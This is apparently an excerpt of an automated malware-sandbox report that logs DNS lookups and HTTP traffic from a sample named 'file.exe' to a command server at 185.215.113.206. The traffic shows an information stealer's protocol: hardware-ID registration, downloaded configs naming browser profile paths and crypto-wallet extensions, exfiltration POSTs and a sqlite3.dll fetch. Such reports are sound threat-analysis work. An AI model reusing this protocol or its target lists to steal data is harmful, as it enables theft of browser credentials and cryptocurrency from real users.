Nov 25, 2024 18:28:33.109168053 CET	1.1.1.1	192.168.2.5	0xdddc	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:33.109168053 CET	1.1.1.1	192.168.2.5	0xdddc	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:33.125660896 CET	1.1.1.1	192.168.2.5	0x82f0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 18:28:33.127351999 CET	1.1.1.1	192.168.2.5	0xe110	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:33.127351999 CET	1.1.1.1	192.168.2.5	0xe110	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.751373053 CET	1.1.1.1	192.168.2.5	0x513	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:36.751373053 CET	1.1.1.1	192.168.2.5	0x513	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.834309101 CET	1.1.1.1	192.168.2.5	0xeeed	No error (0)	sb.scorecardresearch.com		3.160.188.18	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.834309101 CET	1.1.1.1	192.168.2.5	0xeeed	No error (0)	sb.scorecardresearch.com		3.160.188.19	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.834309101 CET	1.1.1.1	192.168.2.5	0xeeed	No error (0)	sb.scorecardresearch.com		3.160.188.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.834309101 CET	1.1.1.1	192.168.2.5	0xeeed	No error (0)	sb.scorecardresearch.com		3.160.188.50	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.860641003 CET	1.1.1.1	192.168.2.5	0x90c7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:36.861394882 CET	1.1.1.1	192.168.2.5	0x3a5a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2000	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:28:07.715873003 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 18:28:09.118695974 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:09.126183987 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 30 38 35 42 41 39 31 35 46 32 34 32 37 37 34 30 34 34 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 2d 2d 0d 0a Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="hwid"E7085BA915F2427740442------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="build"mars------BKFCAFCFBAEHIDHJDBGC--
Nov 25, 2024 18:28:09.605443954 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 49 34 4e 57 52 6c 4f 54 63 30 5a 6d 56 68 4f 54 45 78 59 6d 5a 6c 59 32 46 68 4d 47 51 77 4d 44 45 78 5a 54 42 6c 4f 44 55 35 4d 54 45 34 4f 57 52 6b 4d 7a 4a 6a 59 6a 4d 31 5a 6d 46 68 4d 54 6b 31 4f 47 45 77 4d 57 4a 69 4e 44 51 78 59 57 4a 6b 59 6a 4d 32 4e 44 59 32 4e 32 49 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTI4NWRlOTc0ZmVhOTExYmZlY2FhMGQwMDExZTBlODU5MTE4OWRkMzJjYjM1ZmFhMTk1OGEwMWJiNDQxYWJkYjM2NDY2N2I4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 18:28:09.607116938 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"browsers------GCGIDGCGIEGDGDGDGHJK--
Nov 25, 2024 18:28:10.065289974 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 18:28:10.065315008 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 25, 2024 18:28:10.066602945 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="message"plugins------AKKEGHJDHDAFHIDHCFHD--
Nov 25, 2024 18:28:10.521307945 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 18:28:10.521348953 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 18:28:10.521367073 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 18:28:10.521467924 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 25, 2024 18:28:10.521482944 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 25, 2024 18:28:10.521506071 CET	620	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 25, 2024 18:28:10.722297907 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 25, 2024 18:28:10.723680973 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"fplugins------KEHDBAEGIIIEBGCAAFHI--
Nov 25, 2024 18:28:11.183197021 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 18:28:11.306119919 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.206 Content-Length: 7459 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 18:28:11.306188107 CET	7459	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 18:28:12.295641899 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:12.548160076 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:13.100714922 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS 